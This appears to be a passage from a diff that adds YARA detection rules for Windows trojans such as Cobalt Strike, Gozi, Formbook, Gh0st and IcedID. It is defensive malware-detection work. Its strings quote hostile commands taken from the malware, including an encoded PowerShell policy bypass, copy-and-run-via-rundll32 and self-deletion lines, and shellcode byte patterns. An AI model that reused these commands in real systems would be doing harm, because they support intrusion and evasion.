+ $a10 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" ascii fullword
+ $a11 = "Could not open service control manager on %s: %d" ascii fullword
+ $a12 = "%d is an x64 process (can't inject x86 content)" ascii fullword
+ $a13 = "%d is an x86 process (can't inject x64 content)" ascii fullword
+ $a14 = "Failed to impersonate logged on user %d (%u)" ascii fullword
+ $a15 = "could not create remote thread in %d: %d" ascii fullword
+ $a16 = "%s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a17 = "could not write to process memory: %d" ascii fullword
+ $a18 = "Could not create service %s on %s: %d" ascii fullword
+ $a19 = "Could not delete service %s on %s: %d" ascii fullword
+ $a20 = "Could not open process token: %d (%u)" ascii fullword
+ $a21 = "%s.1%08x%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a22 = "Could not start service %s on %s: %d" ascii fullword
+ $a23 = "Could not query service %s on %s: %d" ascii fullword
+ $a24 = "Could not connect to pipe (%s): %d" ascii fullword
+ $a25 = "%s.1%08x%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a26 = "could not spawn %s (token): %d" ascii fullword
+ $a27 = "could not open process %d: %d" ascii fullword
+ $a28 = "could not run %s as %s\\%s: %d" ascii fullword
+ $a29 = "%s.1%08x%08x%08x%08x.%x%x.%s" ascii fullword
+ $a30 = "kerberos ticket use failed:" ascii fullword
+ $a31 = "Started service %s on %s" ascii fullword
+ $a32 = "%s.1%08x%08x%08x.%x%x.%s" ascii fullword
+ $a33 = "I'm already in SMB mode" ascii fullword
+ $a34 = "could not spawn %s: %d" ascii fullword
+ $a35 = "could not open %s: %d" ascii fullword
+ $a36 = "%s.1%08x%08x.%x%x.%s" ascii fullword
+ $a37 = "Could not open '%s'" ascii fullword
+ $a38 = "%s.1%08x.%x%x.%s" ascii fullword
+ $a39 = "%s as %s\\%s: %d" ascii fullword
+ $a40 = "%s.1%x.%x%x.%s" ascii fullword
+ $a41 = "beacon.x64.dll" ascii fullword
+ $a42 = "%s on %s: %d" ascii fullword
+ $a43 = "www6.%x%x.%s" ascii fullword
+ $a44 = "cdn.%x%x.%s" ascii fullword
+ $a45 = "api.%x%x.%s" ascii fullword
+ $a46 = "%s (admin)" ascii fullword
+ $a47 = "beacon.dll" ascii fullword
+ $a48 = "%s%s: %s" ascii fullword
+ $a49 = "@%d.%s" ascii fullword
+ $a50 = "%02d/%02d/%02d %02d:%02d:%02d" ascii fullword
+ $a51 = "Content-Length: %d" ascii fullword
+condition:
+ 6 of ($a*)
+}
+
+rule Windows_Trojan_CobaltStrike_9c0d5561 {
+ meta:
+ id = "9c0d5561-5b09-44ae-8e8c-336dee606199"
+ fingerprint = "1adc3d2d6af9fee9ded94fbecac441fc63bfb2dfa08dbf68ad7da877f3ba9dc2"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies PowerShell Runner module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "PowerShellRunner.dll" wide fullword
+ $a2 = "powershell.x64.dll" ascii fullword
+ $a3 = "powershell.dll" ascii fullword
+ $a4 = "\\\\.\\pipe\\powershell" ascii fullword
+ $a5 = "z:\\devcenter\\aggressor\\external\\PowerShellRunner\\obj\\Release\\PowerShellRunner.pdb" ascii fullword
+ $b1 = "PowerShellRunner.PowerShellRunner" ascii fullword
+ $b2 = "Failed to invoke GetOutput w/hr 0x%08lx" ascii fullword
+ $b3 = "Failed to get default AppDomain w/hr 0x%08lx" ascii fullword
+ $b4 = "ICLRMetaHost::GetRuntime (v4.0.30319) failed w/hr 0x%08lx" ascii fullword
+ $b5 = "CustomPSHostUserInterface" ascii fullword
+ $b6 = "RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx" ascii fullword
+ $b7 = "ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx" ascii fullword
+ $c1 = { 8B 08 50 FF 51 08 8B 7C 24 1C 8D 4C 24 10 51 C7 }
+condition:
+ (3 of ($a*) and 4 of ($b*)) or 1 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_59ed9124 {
+ meta:
+ id = "59ed9124-bc20-4ea6-b0a7-63ee3359e69c"
+ fingerprint = "7823e3b98e55a83bf94b0f07e4c116dbbda35adc09fa0b367f8a978a80c2efff"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies PsExec module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\psexec_command.x86.o" ascii fullword
+ $b1 = "__imp_BeaconDataExtract" ascii fullword
+ $b2 = "__imp_BeaconDataParse" ascii fullword
+ $b5 = "__imp_ADVAPI32$StartServiceA" ascii fullword
+ $b6 = "__imp_ADVAPI32$DeleteService" ascii fullword
+ $b7 = "__imp_ADVAPI32$QueryServiceStatus" ascii fullword
+ $b8 = "__imp_ADVAPI32$CloseServiceHandle" ascii fullword
+ $c1 = "__imp__BeaconDataExtract" ascii fullword
+ $c2 = "__imp__BeaconDataParse" ascii fullword
+ $c5 = "__imp__ADVAPI32$StartServiceA" ascii fullword
+ $c6 = "__imp__ADVAPI32$DeleteService" ascii fullword
+ $c7 = "__imp__ADVAPI32$QueryServiceStatus" ascii fullword
+ $c8 = "__imp__ADVAPI32$CloseServiceHandle" ascii fullword
+condition:
+ 1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_8a791eb7 {
+ meta:
+ id = "8a791eb7-dc0c-4150-9e5b-2dc21af0c77d"
+ fingerprint = "4967886ba5e663f2e2dc0631939308d7d8f2194a30590a230973e1b91bd625e1"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Registry module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\registry.x86.o" ascii fullword
+ $b1 = "__imp_ADVAPI32$RegOpenKeyExA" ascii fullword
+ $b2 = "__imp_ADVAPI32$RegEnumKeyA" ascii fullword
+ $b3 = "__imp_ADVAPI32$RegOpenCurrentUser" ascii fullword
+ $b4 = "__imp_ADVAPI32$RegCloseKey" ascii fullword
+ $b5 = "__imp_BeaconFormatAlloc" ascii fullword
+ $b6 = "__imp_BeaconOutput" ascii fullword
+ $b7 = "__imp_BeaconFormatFree" ascii fullword
+ $b8 = "__imp_BeaconDataPtr" ascii fullword
+ $c1 = "__imp__ADVAPI32$RegOpenKeyExA" ascii fullword
+ $c2 = "__imp__ADVAPI32$RegEnumKeyA" ascii fullword
+ $c3 = "__imp__ADVAPI32$RegOpenCurrentUser" ascii fullword
+ $c4 = "__imp__ADVAPI32$RegCloseKey" ascii fullword
+ $c5 = "__imp__BeaconFormatAlloc" ascii fullword
+ $c6 = "__imp__BeaconOutput" ascii fullword
+ $c7 = "__imp__BeaconFormatFree" ascii fullword
+ $c8 = "__imp__BeaconDataPtr" ascii fullword
+condition:
+ 1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_d00573a3 {
+ meta:
+ id = "d00573a3-db26-4e6b-aabf-7af4a818f383"
+ fingerprint = "b6fa0792b99ea55f359858d225685647f54b55caabe53f58b413083b8ad60e79"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Screenshot module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "screenshot.x64.dll" ascii fullword
+ $a2 = "screenshot.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\screenshot" ascii fullword
+ $b1 = "1I1n1Q3M5Q5U5Y5]5a5e5i5u5{5" ascii fullword
+ $b2 = "GetDesktopWindow" ascii fullword
+ $b3 = "CreateCompatibleBitmap" ascii fullword
+ $b4 = "GDI32.dll" ascii fullword
+ $b5 = "ReflectiveLoader"
+ $b6 = "Adobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %d" ascii fullword
+condition:
+ 2 of ($a*) or 5 of ($b*)
+}
+
+rule Windows_Trojan_CobaltStrike_7bcd759c {
+ meta:
+ id = "7bcd759c-8e3d-4559-9381-1f4fe8b3dd95"
+ fingerprint = "1ecbc35201f65024976cb7419561b988df328c3b0a5cac2c2eea2211d986ddd0"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies SSH Agent module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "sshagent.x64.dll" ascii fullword
+ $a2 = "sshagent.dll" ascii fullword
+ $a3 = "\\\\.\\pipe\\sshagent" ascii fullword
+ $a4 = "got %02x %s" ascii fullword
+ $a5 = "connect to %s:%d: %s" ascii fullword
+ $b1 = "forwarded-tcpip" ascii fullword
+ $b2 = "127.0.0.1" ascii fullword
+ $b3 = "cd %s ; cd %s ; pwd"
+ $b4 = "SUCCESS %s@%s:%d %s" ascii fullword
+ $b5 = "%d bytes at %p"
+ $b6 = "connect to %s:%d: time out" ascii fullword
+condition:
+ 2 of ($a*) or 3 of ($b*)
+}
+
+// rule Windows_Trojan_CobaltStrike_a56b820f {
+// meta:
+// id = "a56b820f-0a20-4054-9c2d-008862646a78"
+// fingerprint = "5418e695bcb1c37e72a7ff24a39219dc12b3fe06c29cedefd500c5e82c362b6d"
+// creation_date = "2021-03-23"
+// last_modified = "2021-04-12"
+// description = "Identifies Timestomp module from Cobalt Strike"
+// os = "Windows"
+// arch = "x86"
+// category_type = "Trojan"
+// family = "CobaltStrike"
+// threat_name = "Windows.Trojan.CobaltStrike"
+// source = "Manual"
+// maturity = "Diagnostic"
+// scan_type = "File, Memory"
+// severity = 100
+// strings:
+// $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x64.o" ascii fullword
+// $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\timestomp.x86.o" ascii fullword
+// $b1 = "__imp_KERNEL32$GetFileTime" ascii fullword
+// $b2 = "__imp_KERNEL32$SetFileTime" ascii fullword
+// $b3 = "__imp_KERNEL32$CloseHandle" ascii fullword
+// $b4 = "__imp_KERNEL32$CreateFileA" ascii fullword
+// $b5 = "__imp_BeaconDataExtract" ascii fullword
+// $b6 = "__imp_BeaconPrintf" ascii fullword
+// $b7 = "__imp_BeaconDataParse" ascii fullword
+// $c1 = "__imp__KERNEL32$GetFileTime" ascii fullword
+// $c2 = "__imp__KERNEL32$SetFileTime" ascii fullword
+// $c3 = "__imp__KERNEL32$CloseHandle" ascii fullword
+// $c4 = "__imp__KERNEL32$CreateFileA" ascii fullword
+// $c5 = "__imp__BeaconDataExtract" ascii fullword
+// $c6 = "__imp__BeaconPrintf" ascii fullword
+// $c7 = "__imp__BeaconDataParse" ascii fullword
+// condition:
+// 1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+// }
+
+rule Windows_Trojan_CobaltStrike_92f05172 {
+ meta:
+ id = "92f05172-f15c-4077-a958-b8490378bf08"
+ fingerprint = "09b1f7087d45fb4247a33ae3112910bf5426ed750e1e8fe7ba24a9047b76cc82"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies UAC cmstp module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uaccmstp.x86.o" ascii fullword
+ $b1 = "elevate_cmstp" ascii fullword
+ $b2 = "$pdata$elevate_cmstp" ascii fullword
+ $b3 = "$unwind$elevate_cmstp" ascii fullword
+ $c1 = "_elevate_cmstp" ascii fullword
+ $c2 = "__imp__OLE32$CoGetObject@16" ascii fullword
+ $c3 = "__imp__KERNEL32$GetModuleFileNameA@12" ascii fullword
+ $c4 = "__imp__KERNEL32$GetSystemWindowsDirectoryA@8" ascii fullword
+ $c5 = "OLDNAMES"
+ $c6 = "__imp__BeaconDataParse" ascii fullword
+ $c7 = "_willAutoElevate" ascii fullword
+condition:
+ 1 of ($a*) or 3 of ($b*) or 4 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_417239b5 {
+ meta:
+ id = "417239b5-cf2d-4c85-a022-7a8459c26793"
+ fingerprint = "292afee829e838f9623547f94d0561e8a9115ce7f4c40ae96c6493f3cc5ffa9b"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies UAC token module from Cobalt Strike"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x64.o" ascii fullword
+ $a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken.x86.o" ascii fullword
+ $a3 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x64.o" ascii fullword
+ $a4 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\uactoken2.x86.o" ascii fullword
+ $b1 = "$pdata$is_admin_already" ascii fullword
+ $b2 = "$unwind$is_admin" ascii fullword
+ $b3 = "$pdata$is_admin" ascii fullword
+ $b4 = "$unwind$is_admin_already" ascii fullword
+ $b5 = "$pdata$RunAsAdmin" ascii fullword
+ $b6 = "$unwind$RunAsAdmin" ascii fullword
+ $b7 = "is_admin_already" ascii fullword
+ $b8 = "is_admin" ascii fullword
+ $b9 = "process_walk" ascii fullword
+ $b10 = "get_current_sess" ascii fullword
+ $b11 = "elevate_try" ascii fullword
+ $b12 = "RunAsAdmin" ascii fullword
+ $b13 = "is_ctfmon" ascii fullword
+ $c1 = "_is_admin_already" ascii fullword
+ $c2 = "_is_admin" ascii fullword
+ $c3 = "_process_walk" ascii fullword
+ $c4 = "_get_current_sess" ascii fullword
+ $c5 = "_elevate_try" ascii fullword
+ $c6 = "_RunAsAdmin" ascii fullword
+ $c7 = "_is_ctfmon" ascii fullword
+ $c8 = "_reg_query_dword" ascii fullword
+ $c9 = ".drectve" ascii fullword
+ $c10 = "_is_candidate" ascii fullword
+ $c11 = "_SpawnAsAdmin" ascii fullword
+ $c12 = "_SpawnAsAdminX64" ascii fullword
+condition:
+ 1 of ($a*) or 9 of ($b*) or 7 of ($c*)
+}
+
+rule Windows_Trojan_CobaltStrike_29374056 {
+ meta:
+ id = "29374056-03ce-484b-8b2d-fbf75be86e27"
+ fingerprint = "4cd7552a499687ac0279fb2e25722f979fc5a22afd1ea4abba14a2ef2002dd0f"
+ creation_date = "2021-03-23"
+ last_modified = "2021-04-12"
+ description = "Identifies Cobalt Strike MZ Reflective Loader."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D ?? FF FF FF 48 81 C3 ?? ?? 00 00 FF D3 }
+ $a2 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 }
+condition:
+ 1 of ($a*)
+}
+
+rule Windows_Trojan_CobaltStrike_949f10e3 {
+ meta:
+ id = "949f10e3-68c9-4600-a620-ed3119e09257"
+ fingerprint = "34e04901126a91c866ebf61a61ccbc3ce0477d9614479c42d8ce97a98f2ce2a7"
+ creation_date = "2021-03-25"
+ last_modified = "2021-03-25"
+ description = "Identifies the API address lookup function used by Cobalt Strike along with XOR implementation by Cobalt Strike."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 0F B7 4A 26 31 FF 31 C0 AC 3C 61 }
+ $a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_CobaltStrike_8751cdf9 {
+ meta:
+ id = "8751cdf9-4038-42ba-a6eb-f8ac579a4fbb"
+ fingerprint = "0988386ef4ba54dd90b0cf6d6a600b38db434e00e569d69d081919cdd3ea4d3f"
+ creation_date = "2021-03-25"
+ last_modified = "2021-03-25"
+ description = "Identifies Cobalt Strike wininet reverse shellcode along with XOR implementation by Cobalt Strike."
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "CobaltStrike"
+ threat_name = "Windows.Trojan.CobaltStrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 99
+ strings:
+ $a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
+ $a2 = { 8B 07 01 C3 85 C0 75 E5 58 C3 E8 [2] FF FF 31 39 32 2E 31 36 38 2E ?? 2E }
+condition:
+ all of them
+}
+
+// rule Windows_Trojan_CobaltStrike_8519072e {
+// meta:
+// id = "8519072e-3e43-470b-a3cf-18f92b3f31a2"
+// fingerprint = "90c0c1ec6cfc065ba1d92bb5f24568b31827f05e3f932ce3128cb6d278ff7757"
+// creation_date = "2021-03-25"
+// last_modified = "2021-04-12"
+// description = "Identifies Cobalt Strike trial/default versions"
+// os = "Windows"
+// arch = "x86"
+// category_type = "Trojan"
+// family = "CobaltStrike"
+// threat_name = "Windows.Trojan.CobaltStrike"
+// source = "Manual"
+// maturity = "Diagnostic"
+// scan_type = "File, Memory"
+// severity = 90
+// strings:
+// $a1 = "User-Agent:"
+// $a2 = "wini"
+// $a3 = "5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" ascii fullword
+// $a4 = /([0-9]{1,3}\.){3}[0-9]{1,3}/
+// condition:
+// all of them
+// }
+
+rule Windows_Trojan_Cobaltstrike_663fc95d {
+ meta:
+ id = "663fc95d-2472-4d52-ad75-c5d86cfc885f"
+ fingerprint = "d0f781d7e485a7ecfbbfd068601e72430d57ef80fc92a993033deb1ddcee5c48"
+ creation_date = "2021-04-01"
+ last_modified = "2021-04-01"
+ description = "Identifies CobaltStrike via unidentified function code"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Cobaltstrike"
+ threat_name = "Windows.Trojan.Cobaltstrike"
+ source = "Manual"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Diceloader_b32c6b99 {
+ meta:
+ id = "b32c6b99-f634-4c6f-98f4-39954ef15afa"
+ fingerprint = "15d4bc57c03a560608ae69551aa46d1786072b3d78d747512f8ac3e6822a7b93"
+ creation_date = "2021-04-23"
+ last_modified = "2021-05-18"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Diceloader"
+ threat_name = "Windows.Trojan.Diceloader"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "a3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "D$0GET " ascii fullword
+ $a2 = "D$THostf" ascii fullword
+ $a3 = "D$,POST" ascii fullword
+ $a4 = "namef" ascii fullword
+ $a5 = "send" ascii fullword
+ $a6 = "log.ini" wide
+ $a7 = { 70 61 73 73 00 00 65 6D 61 69 6C 00 00 6C 6F 67 69 6E 00 00 73 69 67 6E 69 6E 00 00 61 63 63 6F 75 6E 74 00 00 70 65 72 73 69 73 74 65 6E 74 00 00 48 6F 73 74 3A 20 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Diceloader_15eeb7b9 {
+ meta:
+ id = "15eeb7b9-311f-477b-8ae1-b8f689a154b7"
+ fingerprint = "4cc70bec5d241c6f84010fbfe2eafbc6ec6d753df2bb3f52d9498b54b11fc8cb"
+ creation_date = "2021-04-23"
+ last_modified = "2021-05-18"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Diceloader"
+ threat_name = "Windows.Trojan.Diceloader"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "a1202df600d11ad2c61050e7ba33701c22c2771b676f54edd1846ef418bea746"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { E9 92 9D FF FF C3 E8 }
+ $a2 = { E9 E8 61 FF FF C3 E8 }
+condition:
+ any of them
+}
+
+rule Windows_Trojan_Formbook_1112e116 {
+ meta:
+ id = "1112e116-dee0-4818-a41f-ca5c1c41b4b8"
+ fingerprint = "b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134"
+ creation_date = "2021-06-14"
+ last_modified = "2021-06-14"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Formbook"
+ threat_name = "Windows.Trojan.Formbook"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = { 3C 30 50 4F 53 54 74 09 40 }
+ $a2 = { 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 }
+ $a3 = { 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 }
+ $a4 = { 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83 }
+condition:
+ any of them
+}
+
+rule Windows_Trojan_Generic_a681f24a {
+ meta:
+ id = "a681f24a-7054-4525-bcf8-3ee64a1d8413"
+ fingerprint = "6323ed5b60e728297de19c878cd96b429bfd6d82157b4cf3475f3a3123921ae0"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Generic"
+ threat_name = "Windows.Trojan.Generic"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "a796f316b1ed7fa809d9ad5e9b25bd780db76001345ea83f5035a33618f927fa"
+ scan_type = "File, Memory"
+ severity = 25
+ strings:
+ $a = "_kasssperskdy" wide fullword
+ $b = "[Time:]%d-%d-%d %d:%d:%d" wide fullword
+ $c = "{SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}" wide fullword
+condition:
+ 2 of them
+}
+
+rule Windows_Trojan_Gh0st_ee6de6bc {
+ meta:
+ id = "ee6de6bc-1648-4a77-9607-e2a211c7bda4"
+ fingerprint = "3c529043f34ad8a8692b051ad7c03206ce1aafc3a0eb8fcf7f5bcfdcb8c1b455"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ description = "Identifies a variant of Gh0st Rat"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Gh0st"
+ threat_name = "Windows.Trojan.Gh0st"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "ea1dc816dfc87c2340a8b8a77a4f97618bccf19ad3b006dce4994be02e13245d"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = ":]%d-%d-%d\n%d:%d:%d" ascii fullword
+ $a2 = "[Pause Break]" ascii fullword
+ $a3 = "f-secure.exe" ascii fullword
+ $a4 = "Accept-Language: zh-cn" ascii fullword
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Gozi_fd494041 {
+ meta:
+ id = "fd494041-3fe8-4ffa-9ab8-6798032f1d66"
+ fingerprint = "faabcdfb3402a5951ff1fde4f994dcb00ec9a71fb815b80dc1da9b577bf92ec2"
+ creation_date = "2021-03-22"
+ last_modified = "2021-07-16"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Gozi"
+ threat_name = "Windows.Trojan.Gozi"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "0a1c1557bdb8c1b99e2b764fc6b21a07e33dc777b492a25a55cbd8737031e237"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "/C ping localhost -n %u && del \"%s\"" wide fullword
+ $a2 = "/C \"copy \"%s\" \"%s\" /y && \"%s\" \"%s\"" wide fullword
+ $a3 = "/C \"copy \"%s\" \"%s\" /y && rundll32 \"%s\",%S\"" wide fullword
+ $a4 = "ASCII.GetString(( gp \"%S:\\%S\").%s))',0,0)" wide
+ $a5 = "filename=\"%.4u.%lu\""
+ $a6 = "Urundll32 \"%s\",%S" wide fullword
+ $a7 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s" ascii fullword
+ $a8 = "%08X-%04X-%04X-%04X-%08X%04X" ascii fullword
+ $a9 = "&whoami=%s" ascii fullword
+ $a10 = "%u.%u_%u_%u_x%u" ascii fullword
+ $a11 = "size=%u&hash=0x%08x" ascii fullword
+ $a12 = "&uptime=%u" ascii fullword
+ $a13 = "%systemroot%\\system32\\c_1252.nls" ascii fullword
+ $a14 = "IE10RunOnceLastShown_TIMESTAMP" ascii fullword
+condition:
+ 8 of ($a*)
+}
+
+rule Windows_Trojan_Gozi_261f5ac5 {
+ meta:
+ id = "261f5ac5-7800-4580-ac37-80b71c47c270"
+ fingerprint = "cbc8fec8fbaa809cfc7da7db72aeda43d4270f907e675016cbbc2e28e7b8553c"
+ creation_date = "2019-08-02"
+ last_modified = "2021-07-16"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Gozi"
+ threat_name = "Windows.Trojan.Gozi"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "31835c6350177eff88265e81335a50fcbe0dc46771bf031c836947851dcebb4f"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
+ $a2 = "version=%u&soft=%u&user=%08x%08x%08x%08x&server=%u&id=%u&type=%u&name=%s"
+ $a3 = "Content-Disposition: form-data; name=\"upload_file\"; filename=\"%.4u.%lu\""
+ $a4 = "&tor=1"
+ $a5 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT %u.%u%s)"
+ $a6 = "http://constitution.org/usdeclar.txt"
+ $a7 = "grabs="
+ $a8 = "CHROME.DLL"
+ $a9 = "Software\\AppDataLow\\Software\\Microsoft\\"
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Hancitor_6738d84a {
+ meta:
+ id = "6738d84a-7393-4db2-97cc-66f471b5699a"
+ fingerprint = "44a4dd7c35e0b4f3f161b82463d8f0ee113eaedbfabb7d914ce9486b6bd3a912"
+ creation_date = "2021-06-17"
+ last_modified = "2021-06-21"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Hancitor"
+ threat_name = "Windows.Trojan.Hancitor"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "a674898f39377e538f9ec54197689c6fa15f00f51aa0b5cc75c2bafd86384a40"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "GUID=%I64u&BUILD=%s&INFO=%s&EXT=%s&IP=%s&TYPE=1&WIN=%d.%d"
+ $b1 = "Rundll32.exe %s, start" ascii fullword
+ $b2 = "MASSLoader.dll" ascii fullword
+condition:
+ $a1 or all of ($b*)
+}
+
+rule Windows_Trojan_IcedID_1cd868a6 {
+ meta:
+ id = "1cd868a6-d2ec-4c48-a69a-aaa6c7af876c"
+ fingerprint = "3e76b3ac03c5268923cfd5d0938745d66cda273d436b83bee860250fdcca6327"
+ creation_date = "2021-02-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "IcedID"
+ threat_name = "Windows.Trojan.IcedID"
+ source = "Automated"
+ maturity = "Diagnostic"
